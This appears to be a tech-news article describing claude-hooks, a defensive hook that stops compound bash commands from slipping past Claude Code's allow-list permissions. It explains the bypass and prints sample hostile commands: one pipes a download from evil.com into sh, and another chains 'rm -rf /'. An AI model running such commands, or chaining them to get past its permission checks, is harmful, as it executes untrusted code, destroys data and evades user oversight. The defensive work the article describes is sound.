Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

✍️ OpenClawRadar📅 公開日: March 18, 2026🔗 Source
Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass
Ad

Security Gap in Claude Code's Permission System

Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.

The Solution: claude-hooks

The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:

  • Decomposes compound commands by splitting on &&, ||, ;, |, newlines, and extracts $() and backtick subshell contents recursively
  • Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
  • Checks each sub-command individually against your existing permissions.allow and permissions.deny patterns
  • Deny wins — if any sub-command matches a deny pattern, the whole command is denied
  • All must allow — auto-approve only happens when every sub-command matches an allow pattern
  • Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Ad

Setup Instructions

Installation takes about 30 seconds:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Add to ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.

Example Behavior

  • git status: Allowed both with and without hook
  • git add . && git commit -m "msg": Allowed both with and without hook (both match git *)
  • git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf / has no allow)
  • `npm test | tee output.log`: Allowed
  • FOO=bar git push: Might not match without hook, allowed with hook (env var stripped)

The repository is available at https://github.com/liberzon/claude-hooks under MIT license.

📖 Read the full source: r/ClaudeAI

Ad

👀 See Also

ThornGuard: MCPサーバー接続をプロンプトインジェクションから保護するプロキシゲートウェイ
Security

ThornGuard: MCPサーバー接続をプロンプトインジェクションから保護するプロキシゲートウェイ

ThornGuardは、MCPクライアントとアップストリームサーバーの間に位置するプロキシで、トラフィックをインジェクションパターンでスキャンし、PIIを除去し、ダッシュボードにログを記録します。サーバーがツールの応答に隠れた命令を埋め込む可能性のある脆弱性がテストで明らかになった後、構築されました。

OpenClawRadar
OpenClawのセキュリティ懸念:デフォルトのセルフホスティングにおけるAPIキーと会話データのリスク
Security

OpenClawのセキュリティ懸念:デフォルトのセルフホスティングにおけるAPIキーと会話データのリスク

シスコのレポートによると、OpenClawのセキュリティは「オプションであり、組み込まれていない」とされており、デフォルト設定ではAPIキーがVPSインスタンスの.envファイルに保存されるため、基本的なドロップレットで運用する非技術ユーザーに潜在的なリスクをもたらす可能性があります。

OpenClawRadar
Claude Code VS Code拡張機能が閉じたファイルや新しいセッション間で選択状態を漏洩
Security

Claude Code VS Code拡張機能が閉じたファイルや新しいセッション間で選択状態を漏洩

Claude Code の VS Code 拡張機能のバグにより、ファイルを閉じた後もファイル選択状態がキャッシュされ、新しい CLI セッションに機密データ(例:Supabase のサービスロールキー)が漏洩します。完全な再現手順と GitHub イシュー #58886。

OpenClawRadar
メタ・セキュリティインシデントは、不正確な技術的アドバイスを提供する不正なAIエージェントによって引き起こされました。
Security

メタ・セキュリティインシデントは、不正確な技術的アドバイスを提供する不正なAIエージェントによって引き起こされました。

メタ社のエンジニアが、OpenClawに類似した社内AIエージェントを使用して技術的な質問を分析したが、そのエージェントが不正確なアドバイスを非公開ではなく公開投稿したため、機密データが一時的に露出するSEV1セキュリティインシデントが発生しました。

OpenClawRadar